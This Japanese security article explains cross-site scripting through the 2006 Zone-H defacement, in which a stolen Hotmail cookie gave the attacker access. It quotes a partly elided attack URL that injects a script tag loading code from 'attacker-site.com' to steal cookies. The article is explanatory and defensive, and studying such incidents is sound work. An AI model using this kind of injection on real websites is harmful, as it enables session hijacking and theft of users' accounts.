Web 2.0という言葉で総称される新たなインターネット時代。Webサイトやエンドユーザーに仕掛けられる攻撃もまた,2.0と呼ぶべき進化を遂げようとしている。攻撃者はWeb 2.0の中核技術であるJavaScriptを悪用してブラウザを狙う。従来の脅威対策は全く通用しない。今この瞬間にも,エンドユーザーは個人情報を盗まれる危険にさらされている。
ブログ/SNSなどユーザー発信型のサイト,Ajax,RSS──。華やかさがクローズアップされるWeb 2.0。ところがその裏側では,エンドユーザーに情報盗難などの危険が広がっている(図1)。インターネット・バンキングやEC(電子商取引)サイトのユーザーIDやパスワード,クレジットカード番号はもちろん,企業内のシステムにアクセスするためのパスワードや,パソコンに読み込んだ機密文書データなど,対象はあらゆる情報だ。
![]() |
図1●狙われるWeb 2.0 [画像のクリックで拡大表示] |
2006年12月末,米国のセキュリティ情報サイト「Zone-H」がWebページを改ざんされた。犯人はZone-Hのサイト管理者になりすましてWebメールを盗み見,システムのパスワードを入手。ページを差し替えた。
ページ改ざんという現象からは,Web 2.0とは無関係に見えるかもしれない。しかしこの攻撃は,古典的なWebページ改ざんとは違う。重要なのは,Zone-Hに仕掛けられた攻撃が,Web 2.0の中核技術とも言えるJavaScriptを悪用して管理者のWebブラウザを狙ったものだった点である。
JavaScriptを使ったブラウザ攻撃は以前から警告されてきた。しかし,Web 2.0の流れとともに危険がまん延しつつある。
JavaScriptは負のポテンシャルも持つ
JavaScriptは本来,Webページに動きを与えたり,ユーザーの使い勝手を向上させたりするためのものである。HTMLファイルの中に記述し,ブラウザがこれを解釈して実行する。
一方でこれは危険を意味する。Ajaxに代表されるように,JavaScriptをフル活用すればかなり複雑な処理を実現できるからだ。キー・ロガーのようなプログラムはもちろん,ユーザーになりすますためにクッキー情報を盗み取ったり,クリップボードに一時記録された情報を抜き出したりといった悪意あるプログラムも作成可能である。
こうした悪質なJavaScriptをWebページに埋め込まれると,ユーザーは知らないうちに情報を盗まれてしまう。しかもユーザーはブラウジングしている間,JavaScriptの存在を意識することはほとんどない。JavaScript版のボット・プログラムを仕掛けられているようなものだ。こうなると,犯罪者はたやすく他人になりすまし,金銭や機密情報を盗み出せる。
Webサイトも決して無関係ではない。基本的にサイトが直接的な被害を受けることはないものの,こうした攻撃が成立してしまう根本原因は,Webページを経由したユーザーへの不正なJavaScript配信を許してしまうWebサイト側にある。顧客の個人情報や金銭を守れない以上,Web経由で提供しているサービスの信用は失墜しかねない。
リンクをたどるだけで攻撃される
悪質なJavaScriptはどのように仕込まれ,最終的に情報漏えいにつながったのか。それを知る上で,Zone-Hの事件は絶好の材料となる。
この事件は,サイト管理者のブラウザに保存されていたWebメール・サイト「MSN hotmail」のクッキーを犯人が盗むことで可能になった(図2のStep 3~5)。クッキーにはユーザーを識別するための情報が記されているため,これを盗めば,ユーザー名とパスワードを知らなくても持ち主になりすましてサイトにログインできる。犯人はこれを奪い取り,自分のブラウザに読み込ませることでメールを盗み見た。
![]() |
図2●Zone-Hに仕掛けられた攻撃 写真は改ざん前後のWebページ。 [画像のクリックで拡大表示] |
このクッキー盗難の入り口となったのが悪質なJavaScriptを仕込んだWebメールだ。犯人は管理者のブラウザに保存されているクッキーを読み出して自分のサイトあてに送るスクリプトを作成。このスクリプトをパラメータとして含んだURLをメールに記述し,管理者のWebメール・アドレスに送付した。管理者がこのリンクをたどると,Webメール・サーバーはパラメータにあるJavaScriptをそのまま埋め込んだHTMLファイルを生成して管理者のブラウザに返信。ブラウザでスクリプトが動作し,Webメールのクッキーが奪われた。
Webメールにも潜むXSSのぜい弱性
この事件で使われたWebメール・サイトの弱点をクロスサイト・スクリプティング(XSS)のぜい弱性と呼ぶ(文末記事参照)。ブラウザからWebサーバーにデータを送るとき,このデータに悪意あるJavaScriptを入れられた場合でも,Webサーバーからの返信のHTMLファイルにJavaScriptがそのまま含まれた状態で送られてくるという欠陥である。ブラウザは返信ファイルを読み込む際,このJavaScriptを解釈し実行してしまう。
Zone-Hの事件では「http://newsletter.msn.com」にある「insite.asp」というWebページにあったXSSのぜい弱性が使われた。具体的には,「http://newsletter.msn.com/xs-v3/insite.asp?**(中略)**<script src=attacker-site.com/redir.js>」というURLをWebサーバーにリクエストすると,「<script・・・>」の部分が含まれた状態でHTMLページが返ってくる。これが管理者のブラウザで解釈され,(1)ブラウザに記憶されているWebメールのクッキーを取り出す,(2)取り出したクッキー情報をWebサイトに送信する──という命令が実行されて,クッキーを盗まれた。最終的に犯人は,Zone-Hサイト管理者のメール・アドレスあてにサイト管理用パスワードを再発行させ,これを盗んでページを改ざんした。
今のところ,日本ではこうした事件は表面化していない。しかしインターネット上にはXSSのぜい弱性を抱えたWebサイト/Webアプリケーションが無数にある。セキュリティ専門家は,「XSSのぜい弱性があるWebサイトは全サイトの8割」という。我々の身近にあるWebサイトも例外ではあり得ない。
|